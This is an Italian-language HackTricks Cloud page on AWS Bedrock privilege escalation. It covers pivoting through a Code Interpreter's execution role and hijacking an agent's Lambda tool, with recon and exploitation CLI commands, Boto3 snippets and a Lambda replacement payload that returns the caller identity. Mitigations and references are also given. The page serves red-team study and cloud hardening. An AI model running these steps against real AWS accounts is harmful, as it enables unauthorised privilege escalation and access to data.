AWS - Bedrock PrivEsc
Tip
Impara & pratica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Impara & pratica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Impara & pratica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Sostieni HackTricks
- Controlla i subscription plans!
- Unisciti al đŹ Discord group o al telegram group o seguici su Twitter đŚ @hacktricks_live.
- Condividi hacking tricks inviando PRs ai HackTricks e HackTricks Cloud github repos.
Amazon Bedrock AgentCore
bedrock-agentcore:StartCodeInterpreterSession + bedrock-agentcore:InvokeCodeInterpreter - Code Interpreter Execution-Role Pivot
AgentCore Code Interpreter è un ambiente di esecuzione gestito. I Custom Code Interpreters possono essere configurati con un executionRoleArn che âfornisce permessi al code interpreter per accedere ai servizi AWSâ.
Se un principal IAM con privilegi inferiori può avviare + invocare una sessione Code Interpreter configurata con un execution role con privilegi piĂš elevati, il chiamante può di fatto pivotare nei permessi dellâexecution role (lateral movement / privilege escalation a seconda dellâambito del ruolo).
Note
Questo è tipicamente un problema di misconfiguration / excessive permissions (assegnare permessi troppo ampi allâexecution role dellâinterpreter e/o concedere un accesso invoke troppo ampio). AWS avverte esplicitamente di evitare privilege escalation assicurando che gli execution role abbiano privilegi uguali o inferiori rispetto alle identitĂ autorizzate a invocare.
Preconditions (common misconfiguration)
- Esiste un custom code interpreter con un execution role con privilegi eccessivi (es: accesso a S3/Secrets/SSM sensibili o capacitĂ simili a IAM-admin).
- Un utente (developer/auditor/identitĂ CI) ha i permessi per:
- avviare sessioni:
bedrock-agentcore:StartCodeInterpreterSession - invocare tools:
bedrock-agentcore:InvokeCodeInterpreter - (Optional) Lâutente può anche creare interpreters:
bedrock-agentcore:CreateCodeInterpreter(gli consente di creare un nuovo interpreter configurato con un execution role, a seconda dei guardrail dellâorganizzazione).
Recon (identify custom interpreters and execution role usage)
Elenca gli interpreters (control-plane) e ispeziona la loro configurazione:
aws bedrock-agentcore-control list-code-interpreters
aws bedrock-agentcore-control get-code-interpreter --code-interpreter-id <CODE_INTERPRETER_ID>
Il comando create-code-interpreter supporta
--execution-role-arnche definisce quali permessi AWS avrĂ lâinterpreter.
Step 1 - Start a session (this returns a sessionId, not an interactive shell)
SESSION_ID=$(
aws bedrock-agentcore start-code-interpreter-session \
--code-interpreter-identifier <CODE_INTERPRETER_IDENTIFIER> \
--name "arte-oussama" \
--query sessionId \
--output text
)
echo "SessionId: $SESSION_ID"
Step 2 - Invoke code execution (Boto3 or signed HTTPS)
Non câè nessuna shell python interattiva da start-code-interpreter-session. Lâesecuzione avviene tramite InvokeCodeInterpreter.
Opzione A - Esempio Boto3 (esegui Python + verifica identitĂ ):
import boto3
client = boto3.client("bedrock-agentcore", region_name="<REGION>")
# Execute python inside the Code Interpreter session
resp = client.invoke_code_interpreter(
codeInterpreterIdentifier="<CODE_INTERPRETER_IDENTIFIER>",
sessionId="<SESSION_ID>",
name="executeCode",
arguments={
"language": "python",
"code": "import boto3; print(boto3.client('sts').get_caller_identity())"
}
)
# Response is streamed; print events for visibility
for event in resp.get("stream", []):
print(event)
Se lâinterpreter è configurato con un execution role, lâoutput di sts:GetCallerIdentity() dovrebbe riflettere lâidentitĂ di quel role (non quella del low-priv caller), dimostrando il pivot.
Option B - Signed HTTPS call (awscurl):
awscurl -X POST \
"https://bedrock-agentcore.<Region>.amazonaws.com/code-interpreters/<CODE_INTERPRETER_IDENTIFIER>/tools/invoke" \
-H "Content-Type: application/json" \
-H "Accept: application/json" \
-H "x-amzn-code-interpreter-session-id: <SESSION_ID>" \
--service bedrock-agentcore \
--region <Region> \
-d '{
"name": "executeCode",
"arguments": {
"language": "python",
"code": "print(\"Hello from AgentCore\")"
}
}'
Impatto
- Lateral movement verso qualunque accesso AWS che il ruolo di esecuzione dellâinterpreter ha.
- Privilege escalation se il ruolo di esecuzione dellâinterpreter è piĂš privilegiato del chiamante.
- Rilevamento piĂš difficile se gli eventi dati di CloudTrail per le invocazioni dellâinterpreter non sono abilitati (le invocazioni potrebbero non essere registrate di default, a seconda della configurazione).
Mitigations / Hardening
- Least privilege sul
executionRoleArndellâinterpreter (trattalo come i ruoli di esecuzione Lambda / ruoli CI). - Restrict who can invoke (
bedrock-agentcore:InvokeCodeInterpreter) e chi può avviare sessioni. - Usa SCPs per negare InvokeCodeInterpreter tranne che per i ruoli runtime degli agent approvati (lâenforcement a livello di org può essere necessario).
- Abilita gli appropriati CloudTrail data events per AgentCore dove applicabile; genera alert su invocazioni e creazione di sessioni inattese.
Amazon Bedrock Agents
lambda:UpdateFunctionCode, bedrock:InvokeAgent - Agent Tool Hijacking via Lambda
Bedrock Agents può usare Lambda-backed action groups come tool (esecuzione esterna). Se un principal può modificare il codice di una funzione Lambda usata da un agent, e poi può invocare lâagent, può eseguire codice controllato dallâattaccante sotto il ruolo di esecuzione Lambda.
Note
Questo è un cross-service trust abuse (Bedrock â Lambda), non una vulnerability. Lâattaccante potrebbe non essere in grado di invocare Lambda direttamente, ma può comunque attivarlo tramite lâagent.
Preconditions (common misconfiguration)
- Esiste un Bedrock Agent con un action group supportato da una funzione Lambda
- Lâattaccante ha:
lambda:UpdateFunctionCodebedrock:InvokeAgent- Il ruolo di esecuzione Lambda ha permessi piĂš ampi dellâattaccante
- Lâattaccante può identificare la Lambda usata dallâagent
Recon
Enumerate agent action groups:
aws bedrock-agent list-agents
aws bedrock-agent get-agent --agent-id <AGENT_ID>
aws bedrock-agent list-agent-action-groups --agent-id <AGENT_ID> --agent-version DRAFT
Ispeziona Lambda:
aws lambda get-function --function-name <FUNCTION_NAME>
Exploitation
Sostituisci il codice Lambda:
zip payload.zip lambda_function.py
aws lambda update-function-code \
--function-name <FUNCTION_NAME> \
--zip-file fileb://payload.zip
Esempio di payload:
import boto3
def lambda_handler(event, context):
return boto3.client("sts").get_caller_identity()
Trigger via agent:
aws bedrock-agent-runtime invoke-agent \
--agent-id <AGENT_ID> \
--agent-alias-id <ALIAS_ID> \
--session-id test \
--input-text "trigger tool"
Impatto
- Privilege escalation nella Lambda execution role
- Data exfiltration dai servizi AWS
- Cross-service abuse tramite esecuzione di agent fidati
Mitigazioni
- Restrict
lambda:UpdateFunctionCode - Usa ruoli Lambda con least-privilege
- Monitor le modifiche al codice Lambda
- Audit lâuso dei tool dellâagent Bedrock
References
- Sonrai: AWS AgentCore privilege escalation path (SCP mitigation)
- Sonrai: Credential exfiltration paths in AWS code interpreters (MMDS)
- AWS CLI: create-code-interpreter (
--execution-role-arn) - AWS CLI: start-code-interpreter-session (returns
sessionId) - AWS Dev Guide: Code Interpreter API reference examples (Boto3 + awscurl invoke)
- AWS Dev Guide: Security credentials management (MMDS + privilege escalation warning)
- SoftwareSecured: AWS Privilege Escalation Techniques (Bedrock agent tool hijacking)
Tip
Impara & pratica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Impara & pratica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Impara & pratica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Sostieni HackTricks
- Controlla i subscription plans!
- Unisciti al đŹ Discord group o al telegram group o seguici su Twitter đŚ @hacktricks_live.
- Condividi hacking tricks inviando PRs ai HackTricks e HackTricks Cloud github repos.
HackTricks Cloud

